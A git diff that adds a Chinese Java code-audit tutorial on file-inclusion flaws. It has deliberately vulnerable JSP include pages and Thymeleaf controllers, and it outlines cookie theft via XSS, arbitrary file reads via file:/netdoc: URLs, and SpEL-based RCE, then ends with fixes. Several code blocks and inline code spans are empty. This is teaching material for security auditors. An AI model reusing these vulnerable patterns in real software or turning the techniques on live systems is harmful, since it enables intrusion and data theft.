+ My JSP 'index.jsp' starting page
+
+
+
+
+
+
+
+
+
+ This is my JSP page.
+
+
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\220Java \344\273\243\347\240\201\345\256\241\350\256\241\345\205\245\351\227\250-06\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\220Java \344\273\243\347\240\201\345\256\241\350\256\241\345\205\245\351\227\250-06\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md"
new file mode 100644
index 0000000..7f0aba3
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\220Java \344\273\243\347\240\201\345\256\241\350\256\241\345\205\245\351\227\250-06\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md"
@@ -0,0 +1,348 @@
+# 【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍
+
+## 0x00 写在前面
+
+为什么会有这一些列的文章呢?因为我发现网上没有成系列的文章或者教程,基本上是 Java 代码审计中某个点来阐述的,对于新人来说可能不是那么友好,加上本人也在学习 Java 审计,想做个学习历程的记录和总结,因此有了本系列的文章。
+
+本系列的文章面向人群主要是**拥有 Java 基本语法基础的朋友**,系列文章的内容主要包括,审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS 漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE 漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic 系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等,可能内容顺序会略有调整,但是总体内容不会改变,最后希望这系列的文章能够给你带来一点收获。
+
+目前已完成内容如下:
+
+【Java 代码审计入门-01】审计前的准备 https://www.cnpanda.net/codeaudit/588.html
+
+【Java 代码审计入门-02】SQL 漏洞原理与实际案例介绍 https://www.cnpanda.net/codeaudit/600.html
+
+【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍 https://www.cnpanda.net/codeaudit/605.html
+
+【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍 https://www.cnpanda.net/codeaudit/678.html
+
+【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍 https://www.cnpanda.net/codeaudit/759.html
+
+## 0x01 前戏
+
+下载 RCE 测试源码:
+
+https://github.com/cn-panda/JavaCodeAudit
+
+导入项目,可以得到以下目录:
+
+
+
+
+
+项目是一个为了体现文件包含而特地写的一些功能,比如从本地引入文件、从远程引入文件等,此外,还有 Springboot+thymeleaf 的文件包含测试项目。
+
+## 0x02 漏洞原理
+
+文件包含漏洞出现最多的地方是在由 PHP 编写的 Web应用中,我们知道,在 PHP 中,攻击者可以通过 PHP 中的某些包含函数(如:include、require 等),去包含一个含有攻击代码的恶意文件,在包含这个文件后,由于 PHP 包含函数的特性,无论包含的是什么类型的文件,都会将所包含的文件当作 PHP 代码去解析执行。
+
+也就是说,攻击者可能上传一个一句话木马后缀是 txt 或者 jpg 的文件,上传后利用文件包含漏洞去包含这个一句话木马文件就可以成功拿到 Shell 了。
+
+那么Java 中有没有类似的包含漏洞呢?回答这个问题前首先来看看 Java 中原生的包含其他文件的方式。
+
+JSP 的文件包含分为静态包含和动态包含两种。
+
+第一种是静态包含:`<%@include file="test.jsp"%>`
+
+所谓的静态包含就是指包含在其中的参数值, 如上述的`file`参数,不能动态赋值,定义的时候写的是什么,那就是什么,而不能够在项目运行时,动态的赋值给它。因此,通常我们认为,静态包含并不含有文件包含漏洞,当然,不排除和其他漏洞结合而产生的奇妙反应造成包含漏洞产生的可能性,但这里我们不谈。
+
+有静必有动,第二种便是动态包含,动态包含的形式有如下两种:
+```
+
+
+```
+
+```
+
+```
+
+来看看第一种形式,这种形式相对静态包含来讲, 要复杂一点,因为在静态包含中其只属于一个include指令元素, 并且只有一个file的属性, 只是写上路径就行了, 路径可以是相对路径也可以是绝对路径, 但不能是`<%=...%>`代表的表达式,但在这里,file 属性可以是`<%=...%>`代表的表达式。
+
+第二种形式其实和第一种形式并无本质上的区别,core 库 的``和 `` 一样,也是一种请求时操作,它的目的就是将其它一些 Web 资源的内容插入到当前的 JSP 页面中,这些 Web 资源就是通过url 属性来指定的,这也是`` 的唯一一个必选属性。值得一提的是,这里允许使用相对 URL,并且根据当前页面的 URL 来解析这个相对 URL。
+
+举个例子,如果我们当前页面的 URL 地址是`http://127.0.0.1/admin/index.jsp`,那么如果我们引用的 URL 属性值为`/user/edit.jsp`,那么其实最终解析的 URL 就是`http://127.0.0.1/admin/user/edit.jsp`
+
+所以,如果 url 属性的值以斜杠开始,那么它就被解释成本地 JSP 容器内的绝对 URL。如果没有为 `context` 属性指定值,那么就认为这样的绝对 URL 引用当前 servlet 上下文内的资源。如果通过`context` 属性显式地指定了上下文,那么就根据指定的 servlet 上下文 解析绝对(本地)URL。
+
+当然,`` 操作并不仅仅限于访问本地内容,也可以为具体协议和主机名的完整 URI 。并且实际上,协议甚至不仅局限于 HTTP。 `` 的 url 属性值可以使用 [`java.net.URL`](https://docs.oracle.com/javase/7/docs/api/java/net/URL.html) 类所支持的任何协议(也就是`http`, `https`, `ftp`, `file`,`jar`,`mailto`,`netdoc`)。
+
+由于这些特性,导致**动态包含可能会出现文件包含漏洞**, 但这种包含和 PHP 中的包含存在很大的差别,**对于 Java 的本地文件包含来说,造成的危害只有文件读取或下载,`一般情况下`不会造成命令执行或代码执行**。因为一般情况下 Java 中对于文件的包含并不是将非 jsp 文件当成 Java 代码去执行,如果这个 JSP 文件是一个一句话木马文件,我们可以直接去访问利用,并不需要多此一举去包含它来使用了,除非在某些特殊场景下,如某些目录下权限不够可以尝试利用包含来绕过(理论上)。
+
+通常情况下 Java 并不会把非 jsp 文件当成 Java 去解析执行,但是可以利用服务容器本身的一些特性(如将指定目录下的文件全部作为 jsp 文件解析),来实现任意后缀的文件包含,如 Apache Tomcat Ajp(CVE-2020-1938)漏洞,利用 Tomcat 的 AJP(定向包协议)协议实现了任意后缀名文件当成 jsp 文件去解析,从而导致 RCE 漏洞。
+
+除此之外,另外提一点,静态包含和动态包含在`执行时间上`有很大的区别。**静态包含是翻译阶段执行的**,即被包含的文件和被插入到的页面会被 JSP 编译器合成编译,最终编译后的文件实际上只有一个。而**动态包含实际是在请求处理阶段执行的**,JSP程序会将请求转发到(注意不是重定向)被包含页面,并将执行结果输出到浏览器中,然后返回页面继续执行后面的代码,即被包含的文件和被插入到的页面会被JSP编译器单独编译。
+
+好了,说了那么多,来看看我们写的例子吧。
+
+首先是本地文件包含:
+
+```java
+<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
+<%
+ String file = request.getParameter("file");
+%>
+
+
+
+
+
+
+ JSP 文件包含测试(本地)
+
+
+File Include Test Page.
+
+
+```
+
+当我们令`file`的参数值为`data.txt`时,可以得到该文件的内容,如下图所示:
+
+
+
+但是这里有个问题,就是这里包含的路径实际上只能是该 web 路径下的文件,并且该文件的类型只能是文本类型,如`jsp`、`txt`等,不支持图片等类型的文件。
+
+当尝试访问一个图片资源的时候,就会报错:
+
+
+
+并且不支持解析.java 文件(原理上面已说过):
+
+
+
+其次再来看看远程包含:
+
+```java
+<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
+<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
+
+
+
+ 远程文件包含测试
+ <% String url = request.getParameter("url"); %>
+
+
+
+
+
+
+
+This is my JSP page.
+
+
+```
+
+远程包含不但可以包含远程文件,同时可以包含本地文件,如下:
+
+
+
+
+
+包括图片资源(不解析图片,但是有图片的数据):
+
+
+
+解析远程文件:
+
+
+
+
+
+深入利用,首先在 XSS 平台生成一个利用的 xss payload,然后在远程创建一个 html 页面,这个 html 里面镶嵌了这个 xss js,然后利用包含漏洞远程访问:
+
+
+
+成功获取到了 cookie
+
+
+
+除此之外,还可以利用 file、netdoc 协议来实现任意文件读取的目的:
+
+
+
+
+
+那么 java 文件包含漏洞做到的仅仅如此而已吗?
+
+答案是否定的,在前文中我提到 `` 的 url 属性值可以使用 `java.net.URL`类所支持的任何协议,因此 jar 协议也自然在其中,对 jar 协议的利用,通常是在 XXE 漏洞中,实际上在 java 的文件包含漏洞中也可以利用。
+
+利用方式和`K0rz3n`师傅提到的[利用 jar 上传文件](https://xz.aliyun.com/t/3357)大差不差,同样是利用临时文件,然后报错获取临时文件的路径,由于时间关系,我这里只是做了个简单的测试:
+
+
+
+
+
+可以看到临时文件确实存在于目录下,只不过由于是临时的,所以很快自动删除了,只要使用某种技巧(`K0rz3n`师傅提到),就能够使得文件长时间存在于目标服务器中,但是如何利用上传的文件,也是一个问题,这里我也没深入思考其利用方式,有兴趣的朋友可以思考一番
+
+除了原生的 java 文件包含,实际上还有框架层面的文件包含漏洞,这里就简单举个例子来说明一下。
+
+我们理解的 JSP 文件包含是可控` markupSelectorsToRender, Map model, HttpServletRequest request, HttpServletResponse response) throws Exception {
+ String templateName;
+ Set markupSelectors, processMarkupSelectors;
+ ServletContext servletContext = getServletContext();
+ String viewTemplateName = getTemplateName();
+ ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();
+
+ ...
+
+ try {
+ fragmentExpression = (FragmentExpression)parser.parseExpression((IExpressionContext)context, "~{" + viewTemplateName + "}");
+ } catch (TemplateProcessingException e) {
+ throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
+ }
+
+ FragmentExpression.ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression((IExpressionContext)context, fragmentExpression);
+
+ templateName = FragmentExpression.resolveTemplateName(fragment);
+ markupSelectors = FragmentExpression.resolveFragments(fragment);
+ Map nameFragmentParameters = fragment.getFragmentParameters();
+
+ if (nameFragmentParameters != null) {
+
+ if (fragment.hasSyntheticParameters())
+ {
+
+ throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
+ }
+
+ context.setVariables(nameFragmentParameters);
+ }
+ }
+
+ ...
+ }
+```
+
+可以发现,这里将模板名称(`viewTemplateName`) 进行拼接 `"~{" + viewTemplateName + "}"`,然后使用`parseExpression`进行解析,继续跟进`parseExpression`就可以发现会对传入的参数进行预处理,最终使用SpEL执行表达式。
+
+所以我们直接令`language`参数的值为一个我们指定的SpEL表达式,就可以实现 RCE:
+
+
+
+那么如果我们假设存在一个可以上传非 jsp 类型文件的漏洞,并且上传的位置可控,控制器的逻辑如下:
+
+```java
+@GetMapping("/test")
+public String test(@RequestParam String path) {
+ return "/" + path;
+}
+```
+
+因此就可能发生以下情况:
+
+将`test.html`上传到模板文件夹`template`根目录下:
+`test.html`内容如下:
+```html
+
+
+
+ Hello World!
+
+
+Hello
+
+
+
+```
+
+访问即可达到PHP 中的文件包含效果:
+
+
+
+这种情况,在实际情况下我遇到过,只不过非 jsp文件 类型的任意位置的文件上传漏洞比较少见,可能遇到这种情况的人比较少,所以也不具有代表性。
+
+此外,我们知道Thymeleaf模板的语法有以下几种常用的表达式:
+
+> ${…}: 变量表达式
+> *{…}: 选择表达式
+ #{…}: 消息表达式
+ @{…}: 链接表达式
+ ~{…}: 片段表达式
+
+所以在这里,如果存在一个模板文件中的参数可控,即:
+
+
+
+并且控制器中的逻辑为:
+
+```java
+@GetMapping("/page")
+public String path(@RequestParam String exp, Model model) {
+ model.addAttribute("exp", exp);
+ return "exp";
+}
+```
+
+同样可以实现 RCE 效果:
+
+
+
+这里介绍的仅仅是原理是类似于文件包含的 thymeleaf 漏洞,实际上这类的漏洞有专门的名称——SSTI(模板注入漏洞)
+
+不过之所以在这里把这个漏洞归于文件包含,是因为见过这种漏洞式实例,所以只是简单提一下,大家可以举一反三,思考其他框架出现这种漏洞的可能性。
+
+那么,这类的漏洞应该如何修复或者如何避免呢?
+
+## 0x03 修复方案
+
+对于 JSP 文件包含来说,其所造成的影响有限,出现的频率基本上可以忽略不计(基本上没人这样写代码,import 引用的资源一般都是写死的)
+
+但对于thymeleaf等模板框架来说,出现这种情况的漏洞还是极有可能的,所以这里简单说说thymeleaf修复方式,其他模板也是同理,根据模板的特性来修复即可。
+
+在上文中我们提到,`createView()`方法的作用是根据视图名创建对应的`View`,实际上 在该方法中,Thymeleaf 对`redirect:`和`forward:`有特殊处理:
+
+
+
+跟进RedirectView这个重定向类,然后可以发现:
+
+
+
+简单来说这里的逻辑会根据填写的返回值来判断是重定向(`redirect:`)还是请求转发(`forward:`),然后调用原生的Servlet的重定向或者请求转发方法,从而就不会进入执行SpEL表达式的流程,也就不会产生所谓的漏洞了。
+
+因此在视图名称可控的情况下,使用了如下几种方式的代码不受影响:
+- 使用`@ResponseBody`注解
+
+- `rerturn` 时的内容 由`redirect:`或`forward:`开头
+
+- 参数中有`HttpServletResponse`,response已经被处理
+
+- Thymeleaf 使用最新版,新版已经修复了这两个问题(视图名称可控、模板预处理变量可控)
+
+jsp 的文件包含实际上不好找,我在 CVE 官网上找到的基本上都是任意文件读取漏洞,之前遇到的实例也不好发出来,因此也就不在这里举实际例子了
+
+## 0x05 总结
+这篇文章实际上拖了很久,实质性的内容也不是很多,顶多是一个思维发散的理解,希望对新入门的童鞋有所收获
+
+## 0x06 参考
+https://vulncat.fortify.com/zh-cn/detail?id=desc.dataflow.dotnet.dangerous_file_inclusion
+https://xz.aliyun.com/t/3357
+http://x2y.pw/2020/11/15/Thymeleaf-模板漏洞分析/
+https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/standard-expression-syntax.html